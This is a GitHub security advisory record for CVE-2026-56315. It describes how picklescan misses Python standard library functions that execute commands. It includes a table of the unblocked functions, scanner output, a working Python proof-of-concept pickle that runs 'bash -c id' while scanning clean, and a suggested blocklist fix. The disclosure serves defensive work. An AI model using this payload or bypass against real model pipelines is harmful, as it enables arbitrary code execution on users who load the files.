CVE-2026-56315: Picklescan Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g38g-8gr9-h9xp",
  "modified" : "2026-09-25T13:33:56Z",
  "published" : "2026-03-03T20:05:26Z",
  "aliases" : [ "CVE-2026-56315" ],
  "summary" : "PickleScan has multiple stdlib modules with direct RCE not in blocklist",
  "details" : "## Summary\n\npicklescan v1.0.3 (latest) does not block at least 7 Python standard library modules that provide direct arbitrary command execution or code evaluation. A malicious pickle file importing these modules is reported as having 0 issues (CLEAN scan). This enables remote code execution that bypasses picklescan entirely.\n\n## Severity\n\n**Critical** (CVSS 9.8) — Direct RCE with zero scanner detection. Affects all deployments relying on picklescan, including HuggingFace Hub.\n\n## Affected Versions\n\n- picklescan <= 1.0.3 (all versions including latest)\n\n## Details\n\n### Unblocked RCE Modules\n\n| Module | Function | RCE Mechanism | picklescan Result |\n|--------|----------|--------------|-------------------|\n| `uuid` | `_get_command_stdout(cmd, *args)` | `subprocess.Popen((cmd,) + args)` | CLEAN |\n| `_osx_support` | `_read_output(cmdstring)` | `os.system()` via temp file | CLEAN |\n| `_osx_support` | `_find_build_tool(toolname)` | Command injection via `%s` | CLEAN |\n| `_aix_support` | `_read_cmd_output(cmdstring)` | `os.system()` | CLEAN |\n| `_pyrepl.pager` | `pipe_pager(text, cmd)` | `subprocess.Popen(cmd, shell=True)` | CLEAN |\n| `_pyrepl.pager` | `tempfile_pager(text, cmd)` | `os.system(cmd + ...)` | CLEAN |\n| `imaplib` | `IMAP4_stream(command)` | `subprocess.Popen(command, shell=True)` | CLEAN |\n| `test.support.script_helper` | `assert_python_ok(*args)` | Spawns `python` subprocess | CLEAN |\n\nAll 8 functions are in Python's standard library and importable on all platforms.\n\n### Scanner Output\n\n```\n$ picklescan -p uuid_rce.pkl\nNo issues found.\n\n$ picklescan -p aix_rce.pkl\nNo issues found.\n\n$ picklescan -p imaplib_rce.pkl\nNo issues found.\n```\n\nMeanwhile:\n```\n$ python3 -c \"import pickle; pickle.loads(open('uuid_rce.pkl','rb').read())\"\nuid=501(user) gid=20(staff) groups=20(staff),501(access),12(everyone)\n```\n\n### Blocklist Analysis\n\npicklescan v1.0.3's `_unsafe_globals` dict (scanner.py line 120-219) contains ~60 entries. None of the following modules appear:\n\n- `uuid` — not blocked\n- `_osx_support` — not blocked\n- `_aix_support` — not blocked\n- `_pyrepl` — not blocked\n- `_pyrepl.pager` — not blocked (parent wildcard doesn't apply since `_pyrepl` isn't blocked)\n- `imaplib` — not blocked\n- `test` — not blocked\n- `test.support` — not blocked\n- `test.support.script_helper` — not blocked\n\n### Proof of Concept\n\n```python\nimport struct, io, pickle\n\ndef sbu(s):\n    b = s.encode()\n    return b\"\\x8c\" + struct.pack(\"<B\", len(b)) + b\n\n# uuid._get_command_stdout — arbitrary command execution\npayload = (\n    b\"\\x80\\x04\\x95\" + struct.pack(\"<Q\", 55)\n    + sbu(\"uuid\") + sbu(\"_get_command_stdout\") + b\"\\x93\"\n    + sbu(\"bash\") + sbu(\"-c\") + sbu(\"id\")\n    + b\"\\x87\" + b\"R\"   # TUPLE3 + REDUCE\n    + b\".\"              # STOP\n)\n\n# Scan: 0 issues\nfrom picklescan.scanner import scan_pickle_bytes\nresult = scan_pickle_bytes(io.BytesIO(payload), \"test.pkl\")\nassert result.issues_count == 0  # CLEAN\n\n# Execute: runs `id` command\npickle.loads(payload)\n```\n\n### Tested Against\n\n- picklescan v1.0.3 (commit b999763, Feb 15 2026) — latest release\n- picklescan v0.0.21 — same result (modules never blocked in any version)\n\n## Impact\n\nAny system using picklescan for pickle safety validation is vulnerable. This includes:\n\n- **HuggingFace Hub** — uses picklescan server-side to scan uploaded model files\n- **ML pipelines** — any CI/CD or loading pipeline using picklescan\n- **Model registries** — any registry relying on picklescan for safety checks\n\nAn attacker can upload a malicious model file to HuggingFace Hub that passes all picklescan checks and executes arbitrary code when loaded by a user.\n\n## Suggested Fix\n\nAdd to `_unsafe_globals` in picklescan:\n```python\n\"uuid\": \"*\",\n\"_osx_support\": \"*\",\n\"_aix_support\": \"*\",\n\"_pyrepl\": \"*\",\n\"imaplib\": {\"IMAP4_stream\"},\n\"test\": \"*\",\n```\n\n**Architectural recommendation:** The blocklist approach is fundamentally flawed — new RCE-capable stdlib functions can be discovered faster than they are blocked. Consider:\n1. Switching to an allowlist (default-deny) for permitted globals\n2. Treating ALL unknown globals as dangerous by default (currently marked \"Suspicious\" but not counted as issues)\n\n## Resources\n\n- picklescan source: `scanner.py` lines 120-219 (`_unsafe_globals`)\n- Python source: `Lib/uuid.py`, `Lib/_osx_support.py`, `Lib/_aix_support.py`, `Lib/_pyrepl/pager.py`, `Lib/imaplib.py`",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "picklescan"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.0.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-g38g-8gr9-h9xp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-56315"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/mmaitre314/picklescan/commit/bf26452ae2e3204429762c2bb1aa9eacd40436bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/mmaitre314/picklescan"
  }, {
    "type" : "WEB",
    "url" : "https://www.vulncheck.com/advisories/picklescan-remote-code-execution-via-unblocked-standard-library-modules"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-184", "CWE-693" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-03T20:05:26Z",
    "nvd_published_at" : null
  }
}